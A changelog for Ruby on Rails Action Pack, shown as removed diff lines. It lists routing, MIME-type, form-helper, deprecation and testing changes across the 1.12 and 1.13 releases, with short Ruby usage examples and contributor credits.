-* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 *Jan Prill*
-
-* Make sure html_document is reset between integration test requests. *ctm*
-
-* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError. *Josh Susser*
-
-* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting. Closes #6128. *Rick Olson*
-
-* Ensure render :json => ... skips the layout. #6808 *Josh Peek*
-
-* Silence log_error deprecation warnings from inspecting deprecated instance variables. *Nate Wiger*
-
-* Only cache GET requests with a 200 OK response. #6514, #6743 *RSL, anamba*
-
-* Correctly report which filter halted the chain. #6699 *Martin Emde*
-
-* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument. #4185 *Scott Raymond, eventualbuddha*
- # application/json response with body 'Element.show({:name: "David"})'
- respond_to do |format|
- format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
- end
-
-* Makes :discard_year work without breaking multi-attribute parsing in AR. #1260, #3800 *sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva*
-
-* Adds html id attribute to date helper elements. #1050, #1382 *mortonda@dgrmm.net, David North, Bob Silva*
-
-* Add :index and @auto_index capability to model driven date/time selects. #847, #2655 *moriq, Doug Fales, Bob Silva*
-
-* Add :order to datetime_select, select_datetime, and select_date. #1427 *Timothee Peignier, Patrick Lenz, Bob Silva*
-
-* Added time_select to work with time values in models. Update scaffolding. #2489, #2833 *Justin Palmer, Andre Caum, Bob Silva*
-
-* Added :include_seconds to select_datetime, datetime_select and time_select. #2998 *csn, Bob Silva*
-
-* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization. #363 *tomasj, Bob Silva*
-
-* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC. #3811 *Bob Silva*
-
-* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status. *Jeremy Kemper*
-
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) *David Heinemeier Hansson*
-
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 *David Heinemeier Hansson*
-
-
-## 1.13.0 RC1 (r5619, November 22nd, 2006) ##
-
-* Update Routing to complain when :controller is not specified by a route. Closes #6669. *Nicholas Seckar*
-
-* Ensure render_to_string cleans up after itself when an exception is raised. #6658 *rsanheim*
-
-* Update to Prototype and script.aculo.us [5579]. *Sam Stephenson, Thomas Fuchs*
-
-* simple_format helper doesn't choke on nil. #6644 *jerry426*
-
-* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. *Nicholas Seckar*
-
-* Deprecate standalone components. *Jeremy Kemper*
-
-* Always clear model associations from session. #4795 *sd@notso.net, andylien@gmail.com*
-
-* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. *Sam Stephenson*
-
-* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes. #6586 *dkubb*
-
-* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename. #6401 *Andreas Schwarz, Jeremy Kemper*
-
-* assert_response supports symbolic status codes. #6569 *Kevin Clark*
- assert_response :ok
- assert_response :not_found
- assert_response :forbidden
-
-* Cache parsed query parameters. #6559 *Stefan Kaes*
-
-* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS *Thomas Fuchs*
-
-* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing. #6524 *Bob Silva*
-
-* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods. *Jeremy Kemper*
-
-* Deprecate expire_matched_fragments. Use expire_fragment instead. #6535 *Bob Silva*
-
-* Deprecate start_form_tag and end_form_tag. Use form_tag / '</form>' from now on. *Rick Olson*
-
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag *Rick Olson*
-
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs. *Rick Olson*
-
-* Added block-usage to TagHelper#content_tag *DHH*. Example:
-
- <% content_tag :div, :class => "strong" %>
- Hello world!
- <% end %>
-
- Will output:
- <div class="strong">Hello world!</div>
-
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 *Bob Silva*
-
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 *Bob Silva*
-
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 *Bob Silva/chrismear*
-
-* Force *_url named routes to show the host in ActionView *Rick Olson*
-
- <%= url_for ... %> # no host
- <%= foo_path %> # no host
- <%= foo_url %> # host!
-
-* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. *Sam Stephenson*
-
-* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. *Sam Stephenson*
-
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone. Fix button_to double-escaping issue. *Rick Olson*
-
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. *Rick Olson*
-
-* Fix routing to correctly determine when generation fails. Closes #6300. *psross*.
-
-* Fix broken assert_generates when extra keys are being checked. *Jamis Buck*
-
-* Replace KCODE checks with String#chars for truncate. Closes #6385 *Manfred Stienstra*
-
-* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'. *Marcel Molina Jr.*
-
-* Use String#chars in TextHelper::excerpt. Closes #6386 *Manfred Stienstra*
-
-* Fix relative URL root matching problems. *Mark Imbriaco*
-
-* Fix filter skipping in controller subclasses. #5949, #6297, #6299 *Martin Emde*
-
-* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API). *Jeremy Kemper*
-
-* Rename test assertion to prevent shadowing. Closes #6306. *psross*
-
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 *Philip Hallstrom*
-
-* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 *evansj*
-
-* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 *tzaharia*. Example:
-
- update_page_tag :defer => 'true' { |page| ... }
-
- Gives:
-
- <script defer="true" type="text/javascript">...</script>
-
- Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
-
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 *Mike Naberezny*
-
-* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 *sven@c3d2.de*
-
-* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 *cmselmer*
-
-* respond_to :html doesn't assume .rhtml. #6281 *Hampton Catlin*
-
-* Fixed some deprecation warnings in ActionPack *Rick Olson*
-
-* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them. #6240 *japgolly*
-
-* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead. *Jeremy Kemper*
-
-* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. *Jamis Buck*. Examples:
-
- head :status => 404 # expands to "404 Not Found"
- head :status => :not_found # expands to "404 Not Found"
- head :status => :created # expands to "201 Created"
-
-* Add head(options = {}) for responses that have no body. *Jamis Buck*. Examples:
-
- head :status => 404 # return an empty response with a 404 status
- head :location => person_path(@person), :status => 201
-
-* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain. *Rick Olson*
-
-* strip_links is case-insensitive. #6285 *tagoh, Bob Silva*
-
-* Clear the cache of possible controllers whenever Routes are reloaded. *Nicholas Seckar*
-
-* Filters overhaul including meantime filter support using around filters + blocks. #5949 *Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper*
-
-* Update CGI process to allow sessions to contain namespaced models. Closes #4638. *dfelstead@site5.com*
-
-* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. *Nicholas Seckar*
-
-* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability. #3368, #6226 *sdsykes, fhanshaw@vesaria.com*
-
-* Added that respond_to blocks will automatically set the content type to be the same as is requested *DHH*. Examples:
-
- respond_to do |format|
- format.html { render :text => "I'm being sent as text/html" }
- format.rss { render :text => "I'm being sent as application/rss+xml" }
- format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
- end
-
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) *David Heinemeier Hansson*
-
-* Added proper getters and setters for content type and charset *DHH*. Example of what we used to do:
-
- response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
-
- ...now:
-
- response.content_type = Mime::ATOM
- response.charset = "utf-8"
-
-* Declare file extensions exempt from layouts. #6219 *brandon*
- Example: ActionController::Base.exempt_from_layout 'rpdf'
-
-* Add chained replace/update support for assert_select_rjs *Rick Olson*
-
- Given RJS like...
-
- page['test1'].replace "<div id=\"1\">foo</div>"
- page['test2'].replace_html "<div id=\"2\">foo</div>"
-
- Test it with...
-
- assert_select_rjs :chained_replace
- assert_select_rjs :chained_replace, "test1"
-
- assert_select_rjs :chained_replace_html
- assert_select_rjs :chained_replace_html, "test2"
-
-* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency. #6132, #6178 *choonkeat@gmail.com*
-
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>. #2569 *Manfred Stienstra, raphinou@yahoo.com*
-
-* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 *Eric Hodel*
-
-* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids, #6068 *petermichaux@gmail.com*
-
-* Update UrlWriter to support :only_path. *Nicholas Seckar, Dave Thomas*
-
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional *DHH*. So what used to require a nil, like this:
-
- link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
-
- ...can be written like this:
-
- link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
-
-* Added access to nested attributes in RJS #4548 *richcollins@gmail.com*. Examples:
-
- page['foo']['style'] # => $('foo').style;
- page['foo']['style']['color'] # => $('blank_slate').style.color;
- page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
- page['foo']['style'].color = 'red' # => $('blank_slate').style.color = 'red';
-
-* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) *eule@space.ch*
-
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension *David Heinemeier Hansson*
-
-* Fixed FormOptionsHelper#select to respect :selected value #5813
-
-* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 *moriq@moriq.com*
-
-* Fixed TextHelper#pluralize to handle 1 as a string #5909 *rails@bencurtis.com*
-
-* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 *Bob Silva*
-
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" *David Heinemeier Hansson*
-
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 *David Heinemeier Hansson*
-
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 *David Heinemeier Hansson*
-
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support *David Heinemeier Hansson*
-
-* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 *assaf.arkin@gmail.com*
-
-* radio_button_tag generates unique id attributes. #3353 *Bob Silva, somekool@gmail.com*
-
-* strip_tags passes through blank args such as nil or "". #2229, #6702 *duncan@whomwah.com, dharana*
-
-* Cleanup assert_tag :children counting. #2181 *jamie@bravenet.com*
-
-* button_to accepts :method so you can PUT and DELETE with it. #6005 *Dan Webb*
-
-* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">. *Rick Olson*
-
-* Add routing tests to assert that RoutingError is raised when conditions aren't met. Closes #6016 *Nathan Witmer*
-
-* Make auto_link parse a greater subset of valid url formats. *Jamis Buck*
-
-* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. *Mike Clark*
-
-* Switch to using FormEncodedPairParser for parsing request parameters. *Nicholas Seckar, David Heinemeier Hansson*
-
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. *Tobias Lütke*
-
-* Deprecation: test deprecated instance vars in partials. *Jeremy Kemper*
-
-* Add UrlWriter to allow writing urls from Mailers and scripts. *Nicholas Seckar*
-
-* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. *Nicholas Seckar*
-
-* Add controller_paths variable to Routing. *Nicholas Seckar*
-
-* Fix assert_redirected_to issue with named routes for module controllers. *Rick Olson*
-
-* Tweak RoutingError message to show option diffs, not just missing named route significant keys. *Rick Olson*
-
-* Invoke method_missing directly on hidden actions. Closes #3030. *Nicholas Seckar*
-
-* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. *Rick Olson*
-
-* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
-
-* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. *Jeremy Kemper*
-
-* Add support for the param_name parameter to the auto_complete_field helper. #5026 *david.a.williams@gmail.com*
-
-* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. *Jeremy Kemper*
-
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 *François Beausoleil*
-
-* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 *pjhyett@gmail.com*
-
-* Make controller_path available as an instance method. #5724 *jmckible@gmail.com*
-
-* Update query parser to support adjacent hashes. *Nicholas Seckar*
-
-* Make action caching aware of different formats for the same action so that, e.g. foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. *Marcel Molina Jr.*
-
-* Restrict Request Method hacking with ?_method to POST requests. *Rick Olson*
-
-* Fixed the new_#{resource}_url route and added named route tests for Simply Restful. *Rick Olson*
-
-* Added map.resources from the Simply Restful plugin *DHH*. Examples (the API has changed to use plurals!):
-
- map.resources :messages
- map.resources :messages, :comments
- map.resources :messages, :new => { :preview => :post }
-
-* Fixed that integration simulation of XHRs should set Accept header as well *Edward Frederick*
-
-* TestRequest#reset_session should restore a TestSession, not a hash *Michael Koziarski*
-
-* Don't search a load-path of '.' for controller files *Jamis Buck*
-
-* Update integration.rb to require test_process explicitly instead of via Dependencies. *Nicholas Seckar*
-
-* Fixed that you can still access the flash after the flash has been reset in reset_session. Closes #5584 *lmarlow*
-
-* Allow form_for and fields_for to work with indexed form inputs. *Jeremy Kemper, Matt Lyon*
-
- <% form_for 'post[]', @post do |f| -%>
- <% end -%>
-
-* Remove leak in development mode by replacing define_method with module_eval. *Nicholas Seckar*
-
-* Provide support for decimal columns to form helpers. Closes #5672. *Dave Thomas*
-
-* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 *olivier_ansaldi@yahoo.com*
-
-* Reset @html_document between requests so assert_tag works. #4810 *Jarkko Laine, easleydp@gmail.com*
-
-* Integration tests behave well with render_component. #4632 *edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com*
-
-* Added exception handling of missing layouts #5373 *chris@ozmm.org*
-
-* Fixed that real files and symlinks should be treated the same when compiling templates #5438 *zachary@panandscan.com*
-
-* Fixed that the flash should be reset when reset_session is called #5584 *Shugo Maeda*
-
-* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 *murpyh@rubychan.de*
-
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) *David Heinemeier Hansson*
-
-* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. *Nicholas Seckar*
-
-* Avoid naming collision among compiled view methods. *Jeremy Kemper*
-
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 *Mislav Marohnić*
-
-* Determine the correct template_root for deeply nested components. #2841 *s.brink@web.de*
-
-* Fix that routes with *path segments in the recall can generate URLs. *Rick Olson*
-
-* Fix strip_links so that it doesn't hang on multiline <acronym> tags *Jamis Buck*
-
-* Remove problematic control chars in rescue template. #5316 *Stefan Kaes*
-
-* Make sure passed routing options are not mutated by routing code. #5314 *Blair Zajac*
-
-* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. *Jamis Buck*
-
-* Escape the path before routing recognition. #3671
-
-* Make sure :id and friends are unescaped properly. #5275 *me@julik.nl*
-
-* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form). #210 *mklame@atxeu.com, matthew@walker.wattle.id.au*
-
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types *David Heinemeier Hansson*
-
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types *DHH*. Example: Mime::Type.register("image/gif", :gif)
-
-* Added support for Mime objects in render :content_type option *DHH*. Example: render :text => some_atom, :content_type => Mime::ATOM
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
-
-* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. *Nicholas Seckar, Jamis Buck*
-
- map.connect '/foo/:id', :controller => '...', :action => '...'
- map.connect '/foo/:id.:format', :controller => '...', :action => '...'
- map.connect '/foo/:id', ..., :conditions => { :method => :get }
-
-* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. *Jeremy Kemper*
-
-* Accept multipart PUT parameters. #5235 *guy.naor@famundo.com*
-
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output *DHH*. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find :all
-
- respond_to do |format|
- format.html
- format.xml { render :xml => @posts.to_xml }
- format.rss { render :action => "feed.rxml" }
- end
- end
- end
-
- \# returns HTML when requested by a browser, since the browser
- \# has the HTML mimetype at the top of its priority list
- Accept: text/html
- GET /weblog
-
- \# returns the XML
- Accept: application/xml
- GET /weblog
-
- \# returns the HTML
- Accept: application/xml
- GET /weblog.html
-
- \# returns the XML
- Accept: text/html
- GET /weblog.xml
-
- All this relies on the fact that you have a route that includes .:format.
-
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post *David Heinemeier Hansson*
-
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete *David Heinemeier Hansson*
-
-* follow_redirect doesn't complain about being redirected to the same controller. #5153 *dymo@mk.ukrtelecom.ua*
-
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. *Kevin Clark*
-
-* Fix NoMethodError when parsing params like &&. *Adam Greenfield*
-
-* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10"). *Jeremy Kemper*
-
-* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 *anonymous*
-
-* Small fix in routing to allow dynamic routes (broken after [4242]) *Rick Olson*
-
- map.connect '*path', :controller => 'files', :action => 'show'
-
-* Use #flush between switching from #write to #syswrite. Closes #4907. *Blair Zajac <blair@orcaware.com>*
-
-* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. *andrew@redlinesoftware.com, Marcel Molina Jr.*
-
- error_messages_for :account, :user, :subscription, :object_name => :account
-
-* Fix assert_redirected_to tests according to real-world usage. Also, don't fail if you add an extra :controller option: *Rick Olson*
-
- redirect_to :action => 'new'
- assert_redirected_to :controller => 'monkeys', :action => 'new'
-
-* Diff compared routing options. Allow #assert_recognizes to take a second arg as a hash to specify optional request method *Rick Olson*
-
- assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
- assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
-
-* Diff compared options with #assert_redirected_to *Rick Olson*
-
-* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action *Jamis Buck*
-
-* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. *zraii@comcast.net, Sam Stephenson*
-
-* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. *Jamis Buck*
-
-* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. *Sam Stephenson*
- ex. verify :only => :speak, :method => :post,
- :render => { :status => 405, :text => "Must be post" },
- :add_headers => { "Allow" => "POST" }
-
-
-## 1.12.5 (August 10th, 2006) ##
-
-* Updated security fix
-
-
-## 1.12.4 (August 8th, 2006) ##
-
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. *Rick Olson*
-
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for *David Heinemeier Hansson*
-
-* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled. #1897 *jeremye@bsa.ca.gov*
-
-* Fixed that real files and symlinks should be treated the same when compiling templates. #5438 *zachary@panandscan.com*
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
-
-* Update documentation for erb trim syntax. #5651 *matt@mattmargolis.net*
-
-* Short documentation to mention use of Mime::Type.register. #5710 *choonkeat@gmail.com*
-
-
-## 1.12.3 (June 28th, 2006) ##
-
-* Fix broken traverse_to_controller. We now:
- Look for a _controller.rb file under RAILS_ROOT to load.
- If we find it, we require_dependency it and return the controller it defined. (If none was defined we stop looking.)
- If we don't find it, we look for a .rb file under RAILS_ROOT to load. If we find it, and it loads a constant we keep looking.
- Otherwise we check to see if a directory of the same name exists, and if it does we create a module for it.
-
-
-## 1.12.2 (June 27th, 2006) ##
-
-* Refinement to avoid exceptions in traverse_to_controller.
-
-* (Hackish) Fix loading of arbitrary files in Ruby's load path by traverse_to_controller. *Nicholas Seckar*
-
-
-## 1.12.1 (April 6th, 2006) ##
-
-* Fixed that template extensions would be cached development mode #4624 *Stefan Kaes*
-
-* Update to Prototype 1.5.0_rc0 *Sam Stephenson*
-
-* Honor skipping filters conditionally for only certain actions even when the parent class sets that filter to conditionally be executed only for the same actions. #4522 *Marcel Molina Jr.*
-
-* Delegate xml_http_request in integration tests to the session instance. *Jamis Buck*
-
-* Update the diagnostics template skip the useless '<controller not set>' text. *Nicholas Seckar*
-
-* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option *David Heinemeier Hansson*
-
-* Add additional autocompleter options *aballai, Thomas Fuchs*
-
-* Fixed fragment caching of binary data on Windows #4493 *bellis@deepthought.org*
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs*
-
-* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails *DHH*. Example:
-
- image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
-
- ...to avoid frequent stats (not a problem for most people), you can set RAILS_ASSET_ID in the ENV to avoid stats:
-
- ENV["RAILS_ASSET_ID"] = "2345"
- image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?2345" />'
-
- This can be used by deployment managers to set the asset id by application revision
-
-
-## 1.12.0 (March 27th, 2006) ##
-
-* Add documentation for respond_to. *Jamis Buck*
-
-* Fixed require of bluecloth and redcloth when gems haven't been loaded #4446 *murphy@cYcnus.de*
-
-* Update to Prototype 1.5.0_pre1 *Sam Stephenson*
-
-* Change #form_for and #fields_for so that the second argument is not required *Dave Thomas*
-
- <% form_for :post, @post, :url => { :action => 'create' } do |f| -%>
-
- becomes...
-
- <% form_for :post, :url => { :action => 'create' } do |f| -%>
-
-* Update to script.aculo.us 1.6 *Thomas Fuchs*
-
-* Enable application/x-yaml processing by default *Jamis Buck*
-
-* Fix double url escaping of remote_function. Add :escape => false option to ActionView's url_for. *Nicholas Seckar*
-
-* Add :script option to in_place_editor to support evalScripts (closes #4194) *Cody Fauser*
-
-* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) *Cody Fauser*
-
-* Undo accidental escaping for mail_to; add regression test. *Nicholas Seckar*
-
-* Added nicer message for assert_redirected_to (closes #4294) *court3nay*
-
- assert_redirected_to :action => 'other_host', :only_path => false
-
- when it was expecting...
-
- redirected_to :action => 'other_host', :only_path => true, :host => 'other.test.host'
-
- gives the error message...
-
- response is not a redirection to all of the options supplied (redirection is <{:only_path=>false, :host=>"other.test.host", :action=>"other_host"}>), difference: <{:only_path=>"true", :host=>"other.test.host"}>
-
-* Change url_for to escape the resulting URLs when called from a view. *Nicholas Seckar, coffee2code*
-
-* Added easy support for testing file uploads with fixture_file_upload #4105 *turnip@turnipspatch.com*. Example:
-
- # Looks in Test::Unit::TestCase.fixture_path + '/files/spongebob.png'
- post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
-
-* Fixed UrlHelper#current_page? to behave even when url-escaped entities are present #3929 *jeremy@planetargon.com*
-
-* Add ability for relative_url_root to be specified via an environment variable RAILS_RELATIVE_URL_ROOT. *isaac@reuben.com, Nicholas Seckar*
-
-* Fixed link_to "somewhere", :post => true to produce valid XHTML by using the parentnode instead of document.body for the instant form #3007 *Bob Silva*
-
-* Added :function option to PrototypeHelper#observe_field/observe_form that allows you to call a function instead of submitting an ajax call as the trigger #4268 *jonathan@daikini.com*
-
-* Make Mime::Type.parse consider q values (if any) *Jamis Buck*
-
-* XML-formatted requests are typecast according to "type" attributes for :xml_simple *Jamis Buck*
-
-* Added protection against proxy setups treating requests as local even when they're not #3898 *Steve Purcell*
-
-* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 *François Beausoleil*
-
-* Underscore dasherized keys in formatted requests *Jamis Buck*
-
-* Add MimeResponds::Responder#any for managing multiple types with identical responses *Jamis Buck*
-
-* Make the xml_http_request testing method set the HTTP_ACCEPT header *Jamis Buck*
-
-* Add Verification to scaffolds. Prevent destructive actions using GET *Michael Koziarski*
-
-* Avoid hitting the filesystem when using layouts by using a File.directory? cache. *Stefan Kaes, Nicholas Seckar*
-
-* Simplify ActionController::Base#controller_path *Nicholas Seckar*
-
-* Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. *Sam Stephenson*
-
-* Added :content_type option to render, so you can change the content type on the fly *DHH*. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
-
-* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason *David Heinemeier Hansson*
-
-* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension *DHH*. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find :all
-
- respond_to do |type|
- type.html # using defaults, which will render weblog/index.rhtml
- type.xml { render :action => "index.rxml" }
- type.js { render :action => "index.rjs" }
- end
- end
- end
-
-* Added better support for using the same actions to output for different sources depending on the Accept header *DHH*. Example:
-
- class WeblogController < ActionController::Base
- def create
- @post = Post.create(params[:post])
-
- respond_to do |type|
- type.js { render } # renders create.rjs
- type.html { redirect_to :action => "index" }
- type.xml do
- headers["Location"] = url_for(:action => "show", :id => @post)
- render(:nothing, :status => "201 Created")
- end
- end
- end
- end
-
-* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 *David Heinemeier Hansson*
-
-* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new *Tobias Lütke*
-
-* Re-added mixed-in helper methods for the JavascriptGenerator. Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added. Also fixed that variables set in the enumeration methods like #collect are set correctly. Documentation added for the enumeration methods *Rick Olson*. Examples:
-
- page.select('#items li').collect('items') do |element|
- element.hide
- end
- # => var items = $$('#items li').collect(function(value, index) { return value.hide(); });
-
-* Added plugin support for parameter parsers, which allows for better support for REST web services. By default, posts submitted with the application/xml content type is handled by creating a XmlSimple hash with the same name as the root element of the submitted xml. More handlers can easily be registered like this:
-
- # Assign a new param parser to a new content type
- ActionController::Base.param_parsers['application/atom+xml'] = Proc.new do |data|
- node = REXML::Document.new(post)
- { node.root.name => node.root }
- end
-
- # Assign the default XmlSimple to a new content type
- ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
-
- Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type *Tobias Lütke*
-* Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 *Thomas Fuchs*
-
